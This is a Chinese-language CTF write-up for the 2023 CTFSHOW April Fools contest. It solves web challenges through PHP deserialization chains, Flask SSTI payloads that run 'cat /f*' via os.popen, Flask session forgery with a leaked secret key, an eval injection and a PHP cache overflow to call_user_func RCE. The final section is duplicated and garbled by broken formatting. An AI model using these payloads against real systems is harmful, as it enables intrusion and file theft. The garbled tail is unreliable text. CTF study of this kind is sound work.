title: “2023CTFSHOW愚人杯WEB部分WP”
categories:
- 网络安全
- CTF竞赛
tags: - CTF
- WP
keywords:
- 网络安全
- CTF竞赛
- CTFSHOW愚人杯
先总结一下,这次比赛算是本人比较突破自我的一次,因为以前我根本不会看难题,甚至中等题都是不怎么看的,但这次做出来了反序列化和溢出class,所以要相信自己
最遗憾的是class这题,第一次遇到web结合pwn的题,好不容易分析出rce但当时可能环境有问题一直无法读无法写但能curl,后面发现又可以读了?于是比赛结束后偷偷上个榜哈哈
欢迎关注本人博客:https://wustzhb.github.io
热身
flag是"一个不能说的秘密",让我想起了铁人三项那个flag_is_here,呵呵
MISC
奇怪的压缩包
伪加密,修改2出0900为0000
打开后是个图片,发现高被改了,再用winhex改一下高,显示出完整图片
试了各种编码和解密,发现都不行,最后用文件分离出了一个带密码的压缩包,用这串字符当做解压密码解压一下,发现不对,于是打开winhex,看到文件结尾有一串key,解码base64后打开图片再改一下高度获得flag
其他MISC看了一眼琴柳感没思路就看web了,毕竟咱是web手
WEB
easy_signin
为数不多的题目难度和描述一样的题,进去是个贴吧滑稽(不过这表情疑似被很多吧禁了),对着图片审查元素,发现是base64编码的图片,瞟了眼url一眼任意文件读取,解码base64后发现就是文件名,读一下index.php,看看源码,源码里就直接给了flag
被遗忘的反序列化
好久没做反序列化的题,还好没忘
难度还好,就是**$_SERVER**这个点没见过
看了一遍源码,先关注wuw这个类
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
反序列化之前先触发wakeup,所以先看这个方法,检测key中是否有关键词(这个检测给我整乐了,我一度认为是出题人写错了,把file写成了key,因为我没看懂这个检测有什么意义,要么你在key读取到文件内容后检测,要么你检测file,你上来就检测key是啥意思)
把读取file的内容给key,然后结束时显示aaa,这里我们就要让aaa和key的内容一样我们才能看到内容,所以要让aaa成为key的引用来绑定他们俩,这样key是啥aaa就是啥
题目中include了一个check.php,我们用这个读取一下
$a=new w_wuw_w();
$a->aaa=&$a->key;
$a->file="check.php";
//序列化a的结果
//O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:9:"check.php";}
这里传值的时候要在header中加入这个AAAAAA,可能很多师傅卡在这了
check.php的源码:
function cipher($str) {
if(strlen($str)>10000){
exit(-1);
}
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";
for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);
if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}
return $shifted;
}
简单分析一下后发现是凯撒移位密码,网上找个工具或者脚本还原,或者自己逆向一下也行,反正我是没找到能解密成功的凯撒密码网站
解密一下cycycy类的cipher密文
//解密脚本
function decipher($str) {
if(strlen($str)>10000){
exit(-1);
}
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$deciphered = "";
for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);
if ($pos !== false) {
$new_pos = ($pos + $shift) % strlen($charset);
$deciphered .= $charset[$new_pos];
} else {
$deciphered .= $char;
}
}
return $deciphered;
}
解密后原来的是:fe1ka1ele1efp
现在我们要做的就是编写利用链来触发aaa从而RCE
这里我说下我做这种题的一个思路,我一般是倒着推,比如这一题最终利用aaa来rce,那么我们就从谁触发了aaa函数来推
EeE的_clone方法能触发cycycy的aaa,w_wuw_w的__invoke方法能触发EeE的clone,gBoBg的_toString方法如果让aa为w_wuw_w类则能触发wuw的_invoke,给EeE的text赋值为gBoBg,EeE的_wakeup方法能触发gBoBg的toString
最后我们给gBoBg的属性赋值来进入else语句
//不设置name,直接在构造链子的时候不要管name就行
//设置file
$g_class=new gBoBg();
$g_class->file="Lanb0";
//这样写就能进入else语句了,最后别忘了在构造链子的时候给coos赋值为w_wuw_w
最终构造链子如下:这里要注意把private变量删掉,因为header头不会自动解码url,而private变量的序列化含有不可见字符,所以无法正确传值
$lanb0=new EeE();
$gBoBg=$lanb0->text=new gBoBg();
$gBoBg->file="any";
$w_wuw_w=$gBoBg->coos=new w_wuw_w();
构造好一切后先ls看目录
h1nt.txt没用,读根目录看看文件,然后直接读根目录下的f1agaaa获得flag
easy_ssti
打开题目,没啥东西,看源代码提示下载app.zip
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
很明显的flask ssti
因为我们最后要读取flag,所以控制语句进入ge
{{"ge"._class_.__base__.__subclasses__}}//查找所有可用模块
这是一个找模块的python脚本
'''
__author__:lanb0
'''
import re
import requests
# 输入字符串,尖括号中的内容应符合要求
input_str = requests.get(url=r'http://460e222d-900a-47c8-bb03-81ec389f5cf6.challenge.ctf.show/hello/%7B%7B%22ge%22.__class__.__base__.__subclasses__()%7D%7D').text
# 输入要查找的内容
search_str = "os"
# 使用正则表达式查找符合要求的内容
matches = re.findall(r"'(.*?)'", input_str)
# 在找到的内容中查找要查找的内容并输出位置
for i in range(len(matches)):
if search_str in matches[i]:
print("Found at position:", i+1,str(matches[i]))
经过检测,后端过滤了斜杠和反斜杠(‘\’,‘/’),一出现这些就会报错404
有两种方法
第一种是用hex编码关键字,比如这条payload用hexo编码了cat /f*
#payload
{{"ge".__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].__import__('os').popen('\x63\x61\x74\x20\x2f\x66\x2a').read()}}
第二种方法是popen里执行一个base64编码的命令
echo "编码后的命令" | base64 --decode | bash
但这种方法需要用subprocess库才能回显,所以我们第一条payload不适用,不过有兴趣的师傅可以试试能不能弹shell出去
还有一点,就是system和popen函数都可以执行函数,但为什么我们都用popen,就是因为popen有read方法,否则只会执行不会回显结果
这里推荐一篇写的非常仔细的总结jinja2的SSTI的文章
easy_flask
一个登录界面,题目时flask所以还是先不试sql注入了,直接注册一个用户看看葫芦里卖的什么药
登录后点击learn,是个教学页面,不过直接把key泄露出来了(和22年某次安全事件的起因:有内部人员在做教学帖子时在CSDN上直接copy数据库的key有异曲同工之妙)
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
........
这里的key是flask session的,要注意jwt token和flask session的区别,如果你用session去jwt.io解密那么大概率是header部分是卸载信息的,但是负载部分是乱码,我们这里直接模拟一个同样密钥的key伪造一个flask session
我们可以用模拟登陆的方法,自己写一个简单的flask服务,根据提示把role都改为admin
#flask server
from flask import Flask, session
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
@app.route('/login')
def login():
# 模拟登录,将用户名和角色存储在会话中
session['loggedin'] = True
session['username'] = 'admin'
session['role'] = 'admin'
return "登录成功!"
app.run()
打开浏览器访问login看一眼cookie就行能拿到伪造后的session
.eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZCrqrw.U67c2r-uuNnWyElkalgf4Wo3dm
带上伪造的session访问/profile
发现多了个click here,可以下载一个fakeflag.txt,打开看看还真是假的flag,用一系列misc检测没有什么异常
回到页面,既然是下载那么有可能任意文件下载
,看源码果然是
<p>Congratulations! You can download the fakeflag: <a href="/download/?filename=fakeflag.txt"><i
class="fas fa-download"></i> Click here</a></p>
我们把整个app.py下载下来,发现还有个hello路由
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
eval直接传入交互式语句拿到flag
?eval=__import__('os').popen('cat /f*').read()
easy_class
这题到比赛结束只有7解,可惜当时没时间不然感觉能出,卡了两个点,一个是如何用post传空字符,另一个点时不知道为什么当时做的时候rce一直没有回显,但提权的命令和反弹shell又超了长度限制,最离谱的是赛后继续开环境做的时候就可以直接读flag了?
题目就是一个php页面,页面的功能是用php语言手动编写了一个缓存键值对的机制,期间长度不够的程序会自动用空字符\x00填充,最后执行一个回调函数。
这道题考察了一点pwn栈溢出知识,你可以像笔者这样像个大冤种一样一个一个代码审,但最佳的方法应该是大致看下各个函数,大概看懂后,我们在关键函数中输出当前的各个全局变量,来确定全局变量(不会有人一个个手算执行过程吧)
过程没法说的太详细,因为真的挺繁琐的,师傅们有兴趣自己审审
主要就是cache开了一个php缓存流,然后存入几个键值对,最后让你post一个值,你要利用这个post的值(空字符填充,ban掉了’\x00’就用’\0’)来把原始的** f 和 f和 f和p冲掉来换成自己的值最后利用call_user_func**来RCE
public function __destruct(){
$this->readNeaten();
fclose($this->cache);
}
->
->
private function readNeaten(){
rewind($this->cache);
fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
$f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
$t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
$p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
echo '$f的值是'.$f." ".'$p的值是'.$p;//在这里显示一下方便修改
call_user_func($f,$p);
}
这里有个技巧,就是自己本地改下源代码,把执行readNeatten方法时的cache,ref_table都显示出来,然后根据还需要填充多少个字符才能冲掉程序自己补的空字符\x00
还有个需要注意的,最开始填充 f 的时候可以随便写字符 , 数字,字母都可以,但填充 f的时候可以随便写字符,数字,字母都可以,但填充 f的时候可以随便写字符,数字,字母都可以,但填充p的时候因为 f 和 f和 f和p是连着的,所以我们需要用空字符来填充,这样他们就不会连在一起了还不会被填充的字符干扰
还有最容易踩坑的一点就是传参时,空字符要用**%00**来传,否则会被识别为乱码!!!,这里卡了笔者半天
最后构造好能够冲掉 p 和 p和 p和f的data,post过去触发rce拿flag
虽然比赛结束了,但还能提交flag,哈哈,第9个解的,我怀疑前面第8名那个老哥也是发现突然可以读了
'
f
的值
是
′
.
f的值是'.
f的值是′.f." ".'
p
的值
是
′
.
p的值是'.
p的值是′.p;//在这里显示一下方便修改
call_user_func(
f
,
f,
f,p);
}
这里有个技巧,就是自己本地改下源代码,把执行readNeatten方法时的cache,ref_table都显示出来,然后根据还需要填充多少个字符才能冲掉程序自己补的空字符\x00
还有个需要注意的,最开始填充$f的时候可以随便写字符,数字,字母都可以,但填充$p的时候因为$f和$p是连着的,所以我们需要用空字符来填充,这样他们就不会连在一起了还不会被填充的字符干扰
还有最容易踩坑的一点就是传参时,空字符要用**%00**来传,否则会被识别为乱码!!!,这里卡了笔者半天
最后构造好能够冲掉$p和$f的data,post过去触发rce拿flag
[外链图片转存中...(img-f8uXRhNk-1680597733641)]
虽然比赛结束了,但还能提交flag,哈哈,第9个解的,我怀疑前面第8名那个老哥也是发现突然可以读了
![](https://img-blog.csdnimg.cn/img_convert/8c6a79b5be396b5e8a583831153f8e97.png)